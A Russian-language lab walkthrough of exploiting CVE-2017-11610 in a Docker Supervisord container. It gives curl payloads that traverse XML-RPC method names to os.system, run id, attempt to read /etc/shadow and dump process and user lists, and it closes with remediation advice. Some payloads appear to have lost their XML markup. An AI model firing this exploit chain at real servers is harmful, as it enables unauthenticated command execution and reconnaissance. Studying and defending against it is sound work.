
Пошаговый разбор эксплуатации CVE-2017-11610 (Supervisord XML-RPC RCE) с анализом поверхности атаки, обнаружением обхода пространства имён и методами пост-эксплуатации в лабораторной среде Docker.
Начнём с того, что запущено в среде. Перечислю все активные контейнеры:``` docker ps-a

**Жертва открывает один порт: `9001`**.
Порт 9001 — это не стандартное веб-приложение. Поиск по **базе данных портов** показывает, что этот порт может быть связан с **Supervisord** (ETL Service Manager согласно IANA), Tor proxy или каким-либо другим внутренним сервисом. Однако мы не можем сделать вывод, основываясь только на номере порта.
⇒ Я напрямую обращаюсь через curl, чтобы прочитать ответ, а также открываю веб-интерфейс (GUI) для получения дополнительной информации.```
curl -i http://192.168.3.137:9001/


Анализ ответа:
Server: Medusa/1.12 и заголовок Supervisor Status→ Подтверждено, что это Supervisord, а не Tor или какой-либо другой сервис.
REFRESH, RESTART ALL, STOP ALLSupervisord — это менеджер процессов в Linux. Если port 9001 открыт в сеть без пароля, это опасная конфигурация. Атакующий может просматривать сервисы, перезапускать/останавливать процессы и при определённых конфигурациях использовать это для выполнения команд, если у него есть привилегии на изменение или управление управляемыми программами.
Вывод анализа: Мы можем подтвердить, что цель открывает административный интерфейс Supervisord в сеть на порту 9001. Это не стандартный веб-сервис, а интерфейс управления, используемый для мониторинга и управления процессами. Возможность доступа к этому интерфейсу без аутентификации создаёт риск того, что атакующий сможет просматривать статус управляемых сервисов или взаимодействовать с ними.
Однако необходимо различать видимый интерфейс и лежащий в основе механизм управления. Кнопки REFRESH, RESTART ALL и STOP ALL не обрабатывают запросы самостоятельно во фронтенде; вместо этого они должны вызывать интерфейс/бэкенд Supervisord, чтобы получать статус или отправлять команды управления процессами. Поэтому после подтверждения того, что веб-интерфейс открыт, следующим шагом анализа является определение того, существует ли лежащий в основе интерфейс управления за веб-интерфейсом и требует ли он аутентификации.
⇒ Размышление: Необходимо проверить, существует ли интерфейс управления за веб-интерфейсом и требует ли он аутентификации.

Согласно документации Supervisor, [inet_http_server] — это HTTP-сервер, прослушивающий TCP-сокет. Этот интерфейс не включён по умолчанию, его следует использовать только в доверенных средах, он не поддерживает шифрование и не имеет аутентификации по умолчанию, если не настроены username/password.
Документация также указывает, что порт [inet_http_server] используется для приёма HTTP/XML-RPC запросов; supervisorctl использует XML-RPC для связи с supervisord через этот порт. Это соответствует нашему наблюдению в лаборатории: контейнер открывает 0.0.0.0:9001->9001/tcp, веб-интерфейс доступен без аутентификации, и отображаемая версия — Supervisor 3.3.2.
Таким образом, после подтверждения веб-интерфейса на порту 9001, следующим шагом является проверка XML-RPC конечной точки /RPC2. Основываясь на официальном механизме Supervisord, нам необходимо проверить следующее:
/RPC2.supervisor.getState или system.listMethods.Проверяем, активна ли конечная точка:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

Результат возвращает `HTTP/1.1 200 OK`, а не `401 Unauthorized` или `403 Forbidden`, что показывает: запрос был принят сервером без учётных данных. Ответ имеет формат XML-RPC `<methodResponse>` и содержит `statename=RUNNING` и `statecode=1`, что доказывает: конечная точка `/RPC2` активна, а метод `supervisor.getState` был успешно выполнен.
**⇒ Размышления:** поверхность атаки больше не ограничивается веб-интерфейсом, а расширилась до XML-RPC API, где обрабатываются команды управления демоном и процессами. Отсюда следующее направление анализа — **проверить, как Supervisor** обрабатывает `methodName` в **XML-RPC**, чтобы определить, **проявляет ли текущая цель поведение CVE-2017-11610**, которое заключается в механизме диспетчеризации/поиска этого метода. Нам нужно это проверить, чтобы сделать вывод, является ли это **CVE-2017-11610**.
### **Анализ обработки имени метода в XML-RPC**
На предыдущем шаге мы успешно вызвали метод `supervisor.getState` через конечную точку `/RPC2`. Это поднимает следующий вопрос: когда сервер получает строковый `methodName`, как Supervisord сопоставляет эту строку с внутренней функцией Python?
В XML-RPC методы обычно используют пространства имён, например:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
Логически сервер получает строку `methodName`, разделяет её по точке `.` и ищет соответствующий объект/функцию внутри зарегистрированного обработчика.
Псевдокод можно понять следующим образом:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
Для стандартных методов, таких как supervisor.getState, этот механизм работает обычным образом: сервер получает обработчик supervisor, а затем вызывает функцию getState. Однако ключевая проблема CVE-2017-11610 заключается в том, что этот механизм поиска недостаточно ограничивает атрибуты, к которым разрешено обращаться. Если атакующий контролирует methodName, он может не только вызывать публичные методы, такие как getState, но и проникать глубже во внутренние объекты/модули, доступные из обработчика supervisor.
Иными словами, точка . в methodName используется не только для вызова допустимых методов, но может быть использована для обхода атрибутов объектов.
Это формирует наш путь эксплуатации:
supervisor → supervisord → options → warnings → linecache → os → system
Идея состоит в том, чтобы начать с обработчика supervisor, пройти по атрибутам до внутренних объектов демона, а затем использовать предварительно импортированные модули Python для достижения os.system. Если os.system можно вызвать, атакующий сможет выполнять системные команды с привилегиями процесса supervisord.
Таким образом, цепочка атаки выглядит следующим образом:
/RPC2 принимает неаутентифицированные вызовы методов → изучить, как XML-RPC диспетчеризует methodName → обнаружить, что methodName может обходить атрибуты объектов → это приводит к вызову os.system.
Во-первых, мне нужно проверить, действительно ли сервер позволяет обходить внутренние атрибуты. Я попробую вызвать имя метода длиннее обычного. Если сервер вернёт ошибку "method not found", значит, активен фильтр; если вернётся другая ошибка (или вызов будет успешным), обход работает.
Размышление: Я уже знаю, что supervisor.getState работает. Если я попробую supervisor.supervisord — то есть углублюсь на один уровень — и сервер не вернёт ошибку unknown method, значит, он действительно использует рекурсивный getattr без белого списка.
Мы знаем, что XML-RPC — это протокол удалённого вызова процедур поверх HTTP, данные кодируются в XML. Каждый запрос состоит всего из 3 фиксированных компонентов:```
FUNCTION_NAME VALUE ``` Простая структура — просто замените `` и ``. Если функции не требуются параметры, оставьте `` пустыми. Если функции требуется строка, оберните её в `...`. Это не секретное знание — об этом подробно написано в RFC XML-RPC.⇒ Применение: попробуйте вызвать methodName длиннее обычного, чтобы проверить обход пространства имён:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

В результате возвращается `HTTP 500 Internal Server Error` вместо стандартной ошибки `unknown method`. Это указывает на то, что сервер не блокирует `methodName` на уровне допустимого пространства имён, а вместо этого продолжает обрабатывать цепочку `supervisor.supervisord.options` во время диспетчеризации. Иными словами, запрос проникает глубоко в механизм поиска атрибутов; ошибка возникает на более позднем этапе, когда разрешённый объект не может быть вызван как метод. Это явный признак того, что обход пространства имён через `methodName` активен.
### **Поиск пути к функции выполнения команд**
Обход работает. Следующий шаг — **найти цепочку атрибутов, заканчивающуюся вызываемой функцией, способной выполнять системные команды.** В Python проще всего проверить `os.system()`. Однако у нас **нет оболочки на целевой системе** и **нет возможности напрямую читать исходный код или объекты времени выполнения в контейнере.** Поэтому мы должны **исходить из механизмов импорта Python** и **сначала проверить зависимости локально.**
Цепочка для проверки выглядит так:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord написан на Python, поэтому внутренние объекты, такие как `options`, являются объектами Python с атрибутами.
- Если модуль импортирует другой модуль через `import X`, то `X` будет существовать в пространстве имён этого модуля.
- В стандартной библиотеке Python модуль `warnings` импортирует `linecache`, чтобы получать контекст при отображении предупреждений.
- Модуль `linecache` импортирует `os` для работы с путями и файлами.
- Модуль `os` предоставляет функцию `system()`, которая является вызываемой и может выполнять команды оболочки.
Подтвердите эту зависимость локально, прежде чем пытаться использовать её на целевой системе:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ Размышление: Цепочка зависимостей warnings → linecache → os — это реальная зависимость в стандартной библиотеке CPython; и system действительно является вызываемой функцией в модуле os. В сочетании с ошибкой обхода пространства имён в XML-RPC, если мы можем добраться до supervisord.options.warnings из обработчика supervisor, мы можем продолжить обход до linecache.os.system для вызова системных команд.
После определения цепочки обхода до os.system следующим шагом будет создание XML-RPC-запроса для вызова этой функции. В Python функция os.system() принимает один строковый параметр, представляющий команду оболочки для выполнения, и возвращает код выхода команды. Эта функция не возвращает stdout напрямую в ответ XML-RPC, поэтому, чтобы доказать, что команда выполнилась, мы должны перенаправить вывод в файл.
⇒ Размышление: В ответе нет прямого вывода, поэтому запишем результаты в /tmp. Каталог /tmp обычно доступен для записи всем пользователям Linux. Безопасный проверочный пейлоад:
id > /tmp/rce_proof.txt
Применяя шаблон XML-RPC, проанализированный выше, замените <methodName> на цепочку обхода до os.system и передайте команду оболочки внутри <string>:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

Значение `<int>0</int>` — это код возврата `os.system()`, а не stdout команды. Код возврата `0` означает, что команда оболочки выполнена успешно. Мы проверяем это, читая файл внутри контейнера:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE подтвержден. Команда id была выполнена внутри контейнера с правами пользователя nobody (uid=65534).
Ключевой момент: RCE достигнута, но права выполнения зависят от пользователя, под которым запущен процесс supervisord. В этой лабораторной работе команда выполняется под пользователем nobody, что означает, что воздействие более ограничено, чем если бы supervisord работал от имени root.
После подтверждения RCE мы видим, что nobody — это пользователь с низкими привилегиями в Linux. Однако это стоит проверить на практике, а не просто полагаться на вывод id. Метод проверки — попытаться прочитать /etc/shadow, так как этот файл обычно доступен для чтения только root и группе shadow. Если файл читается, процесс имеет высокие привилегии; если доступ заблокирован, привилегии действительно ограничены.
Отправьте полезную нагрузку для чтения /etc/shadow и перенаправьте stdout/stderr в файл:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

Ответ возвращает `<int>256</int>`, что является возвращаемым значением `os.system()`. В Unix коды завершения кодируются; `256` соответствует коду выхода `1` командной оболочки. Это указывает на то, что команда была выполнена, но завершилась ошибкой.
Мы подтверждаем причину сбоя, прочитав выходной файл внутри контейнера и проверив права доступа к `/etc/shadow`:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

Результаты показывают, что в выходном файле зафиксирована эта ошибка:
cat: /etc/shadow: Permission denied
Права доступа для /etc/shadow:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowФайл /etc/shadow принадлежит пользователю root, группе shadow и доступен для чтения только владельцу/группе. Между тем, наша более ранняя RCE подтвердила, что команды выполняются от имени пользователя nobody; этот пользователь не входит в группу shadow и, следовательно, не может прочитать этот файл.
⇒ Вывод: RCE достигнута, но привилегии действительно ограничены пользователем nobody. Это важное отличие от службы, работающей от имени root: атакующий может выполнять команды, но не получает автоматически полный контроль над системой.
Хотя мы не можем прочитать /etc/shadow, RCE по-прежнему позволяет нам выполнять команды с привилегиями nobody. Таким образом, мы можем продолжать собирать информацию, которую этот пользователь имеет право читать, например, список запущенных процессов и информацию о пользователях системы.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

PID 1 в контейнере работает под пользователем root, но процесс supervisord работает под пользователем nobody. Это объясняет, почему RCE удалось, но не хватило привилегий для чтения файлов, доступных только root.
Результат: ps aux показывает, что PID 1 в контейнере — это /bin/bash /usr/local/bin/docker-entrypoint.sh, работающий под пользователем root, тогда как процесс supervisord работает под пользователем nobody.
Это объясняет, почему RCE удалось, но не было разрешений на чтение файлов, доступных только root: команда выполняется с привилегиями процесса supervisord, а не PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

Результат: /etc/passwd показывает, что система в основном содержит стандартных пользователей, таких как root, daemon, nobody и _apt; дополнительных служебных пользователей не обнаружено. Это указывает на минимальное окружение контейнера, в котором отсутствуют другие прикладные учётные записи, которые можно было бы использовать или от которых можно было бы продолжать атаку на данном этапе.
В этой лабораторной среде установить reverse shell не удалось. Однако не следует просто заключать, что Docker bridge сеть всегда блокирует reverse shell, поскольку Docker-контейнеры обычно сохраняют исходящие возможности через NAT. Причина может крыться в маршрутизации, межсетевых экранах, прослушивающих портах, интерфейсах или в конфигурации сети лабораторного окружения.
Ключевой момент: неудавшийся reverse shell не меняет основного вывода. RCE подтверждён с помощью payload id, кодом ответа 0 и файлом вывода в /tmp. Атакующий может выполнять произвольные команды внутри контейнера с привилегиями пользователя nobody.
Срочный приоритет
Обновите Supervisord до пропатченной версии
Обновите Supervisor до версии >= 3.3.3. Пропатченная версия полностью устраняет механизм рекурсивного поиска namespace в XML-RPC, который был первопричиной CVE-2017-11610.
Не открывайте [inet_http_server] в сеть без необходимости
Если веб-интерфейс или удалённое управление не требуются, полностью отключите [inet_http_server]. Это управляющий интерфейс, и он не должен быть широко доступен в сети.
Ограничьте адрес привязки
Если веб-интерфейс всё же нужен, привязывайте его только к localhost вместо 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
Высокий приоритет
Включите аутентификацию для [inet_http_server]
Если этот интерфейс необходимо открыть для удалённого администрирования, настройте надёжное имя пользователя/пароль:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
Если интерфейс должен быть доступен в сети, не полагайтесь только на пароль; разместите его за VPN/обратным прокси или ограничьте доступ по IP.
Ограничьте доступ с помощью межсетевого экрана
Разрешайте доступ к порту 9001 только административным IP-адресам, например через межсетевой экран/группу безопасности. Не открывайте этот порт в публичный интернет или во всю внутреннюю сеть.
Запускайте supervisord от непривилегированного пользователя
В этой лабораторной среде он работает от пользователя nobody, что ограничивает воздействие. В реальных средах избегайте запуска supervisord от root, если только это не абсолютно необходимо.
| Критерий | Оценка | Детали |
|---|
| CVSS Score | 9.8 (Critical) | Согласно CVE/NVD, уязвимость представляет собой неаутентифицированный RCE в Supervisor <= 3.3.2 |
| Аутентификация | Не требуется | Endpoint /RPC2 обрабатывает XML-RPC запросы без запроса имени пользователя/пароля |
| Сложность | Низкая | Эксплуатируется вручную через XML-RPC запросы, без необходимости в Metasploit |
| Полученные привилегии | nobody | RCE выполняется с привилегиями процесса supervisord; в данной лабораторной среде ограничен пользователем nobody |
| Воздействие | Высокое | Возможно выполнение команд, запись файлов в доступные для записи каталоги, такие как /tmp, и сбор информации о системе |
| Ограничения | Невозможно чтение файлов только для root | /etc/shadow вернул Permission Denied, что доказывает отсутствие root-привилегий |
| Пивот во внутренней сети | Возможен | Пользователь nobody всё ещё может пытаться подключиться к другим сервисам/контейнерам, если это позволяют сетевые политики |